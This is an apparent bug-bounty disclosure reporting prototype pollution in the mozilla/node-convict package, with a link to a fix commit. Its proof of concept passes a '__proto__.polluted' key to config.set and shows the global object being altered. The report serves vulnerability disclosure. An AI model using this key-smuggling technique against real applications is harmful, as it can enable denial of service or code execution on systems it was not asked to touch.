Prototype Pollution in mozilla/node-convict

Valid

Reported on

Nov 19th 2020


Description

convict is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var convict = require("convict");
var obj = {};
var config = convict(obj);
console.log("Before : " + {}.polluted);
config.set("__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i convict # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
Jamie Slome
a year ago

Admin


More complete fix:

https://github.com/mozilla/node-convict/commit/3b86be087d8f14681a9c889d45da7fe3ad9cd880

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